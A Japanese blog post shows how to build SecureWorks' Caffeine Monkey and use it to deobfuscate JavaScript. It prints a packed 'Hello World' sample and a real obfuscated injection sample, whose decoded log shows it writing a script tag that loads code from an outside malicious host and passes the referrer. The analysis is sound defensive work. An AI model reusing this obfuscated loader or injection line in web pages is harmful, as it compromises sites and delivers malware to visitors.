Caffeine Monkey

| | コメント(0) | トラックバック(0)

ねた元はこれ↓。

・商用HTMLパッカーのジレンマ:ITpro
http://itpro.nikkeibp.co.jp/article/COLUMN/20080603/305861/

Webサイトが悪意のあるJavaScriptで改ざんされてるという話。
そのJavaScriptは難読化されていて、悪意あるコードを隠蔽している事があるそうだ。

SecureWorksが提供する「Caffeine Monkey」を使えば、難読化されたJavaScriptを解読できます。
「Caffeine Monkey」は以下のサイトから入手できます。

・Caffeine Monkey - Research - SecureWorks
http://www.secureworks.com/research/tools/caffeinemonkey.html

「Caffeine Monkey」は、mozilla.org が提供する JavaScript の実装「SpiderMonkey」が元になっています。
js-1.60.tar.gz (md5 bd8f021e43a8fbbec55ac2cd3d483243) の「Caffeine Monkey」に同梱される「js/js.patch」のパッチを充てたもの。
ダウンロードした「Caffeine Monkey」のソースには、既にこのパッチはあたっています。

今回は、CentOS 5.1 (Linux) 上で、Caffeine Monkey 0.5.1 を動かしてみました。

コンパイル

SpiderMonkey が元になっているので、コンパイル方法は以下のエントリも参考のこと。

SEE:
SpiderMonkey (このblogより)

「Caffeine Monkey」のソースをダウンロードし、CentOS 5.1 (Linux) 上で以下を実行します。

$ tar xvzf caffeine-monkey-0.5.1.tgz
$ cd js/src/
$ make -f Makefile.ref
$ Linux_All_DBG.OBJ/js
js>

対話的シェルが起動できれば、とりあえずOKです。

難読化されたJavaScriptを解読する

● その1

まず、ここのサイト↓で難読化したJavaScriptを、解読してみます。

・/packer/
http://dean.edwards.name/packer/

このサイトの上部に「alert("Hello World");」と入力し、「Base62 encode」にチェックして「Pack」ボタンをクリックすると、以下の様に難読化されます。

eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0("1 2");',3,3,'alert|Hello|World'.split('|'),0,{}))

これを「Caffeine Monkey」上で実行します。

js> eval(function(p,a,c,k,e,r){・・・(略)
typein:270: ReferenceError: alert is not defined

「alert が定義されてない」と怒られました。

「Caffeine Monkey」では、「/tmp/js_function.log」にログが出力されるようになっています。
内容を確認すると、以下の様になっていて、解読した内容が表示されます。

NEWSTRING: \b\w+
NEWSTRING: \b\w+\b
EVAL: alert("Hello World");

● その2

次に、http://www.secureworks.com/research/blog/wp-content/uploads/CaffeineMonkey_DEFCON15.pdf の13ページ目に書かれてる難読化されたサンプルコードを試してみます。
このPDFファイルは「Caffeine Monkey」のソースに同梱されています。

function I(mK,G){if(!G){G='Ba,%7(r_)`m?dPSn=3J/@TUc0f:6uMhk;wyHZEs-^O1N{W#XtKq4F&xV+jbRAi9g';}var R;var TB='';for(var e=0;e<mK.length;e+=arguments.callee.toString().replace(/\s/g,'').length-535){R=(G.indexOf(mK.charAt(e))&255)<<18|(G.indexOf(mK.charAt(e+1))&255)<<12|(G.indexOf(mK.charAt(e+2))&255)<<(arguments.callee.toString().replace(/\s/g,'').length-533)|G.indexOf(mK.charAt(e+3))&255;TB+=String.fromCharCode((R&16711680)>>16,(R&65280)>>8,R&255);}eval(TB.substring(0,TB.length-(arguments.callee.toString().replace(/\s/g,'').length-537)));}I('friHMU&E6-=#MV`OMr@^`4K/=&``@(=;/7(S3&Ta3F@i)ZOwMs(40V`Ou_=y)(PJ=4Fy:_3Fu%^X?VMVMqjOM_Ob6V=#0xdXuV3j6r@XnV`EfHF-mx3X0VTWfUjF?-`EfsTqusTqmquynHtX`q{-uxPq:caFnyuOSqB;),B;),B;),Bm),B;');
js> function I(mK,G){・・・(略)

ログ (/tmp/js_function.log) を確認します。

NEWSTRING: doc
NEWSTRING: docume
NEWSTRING: document.
NEWSTRING: document.wri
NEWSTRING: document.write(
NEWSTRING: document.write('<S
NEWSTRING: document.write('<SCRI
NEWSTRING: document.write('<SCRIPT
NEWSTRING: document.write('<SCRIPT LAN
NEWSTRING: document.write('<SCRIPT LANGUA
NEWSTRING: document.write('<SCRIPT LANGUAGE=
NEWSTRING: document.write('<SCRIPT LANGUAGE="Ja
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javas
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascri
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript"
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SR
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="htt
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http:/
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://ww
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.i
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzz
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/sty
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?re
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+do
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+docum
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+document
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+document.re
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+document.refer
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+document.referrer
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+document.referrer+'"
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+document.referrer+'"></
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+document.referrer+'"></'+'
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+document.referrer+'"></'+'scr
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+document.referrer+'"></'+'script
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+document.referrer+'"></'+'script>')
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+document.referrer+'"></'+'script>');
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+document.referrer+'"></'+'script>');
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+document.referrer+'"></'+'script>');
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+document.referrer+'"></'+'script>');
NEWSTRING: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+document.referrer+'"></'+'script>');
EVAL: document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref='+document.referrer+'"></'+'script>');
NEWSTRING: <SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref=undefined
NEWSTRING: <SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref=undefined"></
NEWSTRING: <SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref=undefined"></script>
DOCUMENT_WRITE: <SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref=undefined"></script>

document.write で書き出されるJavaScriptのコードが解読されました。

ちなみに、定義されてる関数 I() を出力してると、このようになっています。
インデントされてて、見やすいです。:)

js> print(I)
function I(mK, G) {
    if (!G) {
        G = "Ba,%7(r_)`m?dPSn=3J/@TUc0f:6uMhk;wyHZEs-^O1N{W#XtKq4F&xV+jbRAi9g";
    }
    var R;
    var TB = "";
    for (var e = 0; e < mK.length; e += arguments.callee.toString().replace(/\s/g, "").length - 535) {
        R = (G.indexOf(mK.charAt(e)) & 255) << 18 | (G.indexOf(mK.charAt(e + 1)) & 255) << 12 | (G.indexOf(mK.charAt(e + 2)) & 255) << arguments.callee.toString().replace(/\s/g, "").length - 533 | G.indexOf(mK.charAt(e + 3)) & 255;
        TB += String.fromCharCode((R & 16711680) >> 16, (R & 65280) >> 8, R & 255);
    }
    eval(TB.substring(0, TB.length - (arguments.callee.toString().replace(/\s/g, "").length - 537)));
}

ふと、思った

って言うか、こういう風に正体不明のJavaScriptを安易に実行してしまって良いんだろうか?

トラックバック(0)

このブログ記事を参照しているブログ一覧: Caffeine Monkey

このブログ記事に対するトラックバックURL: http://kinshachi.ddo.jp/mt/mt-tb.cgi/488

コメントする


画像の中に見える文字を入力してください。

このブログ記事について

このページは、ikeが2008年6月 7日 19:50に書いたブログ記事です。

ひとつ前のブログ記事は「SpiderMonkey」です。

次のブログ記事は「Firebug」です。

最近のコンテンツはインデックスページで見られます。過去に書かれたものはアーカイブのページで見られます。

最近のコメント

Powered by Movable Type 4.261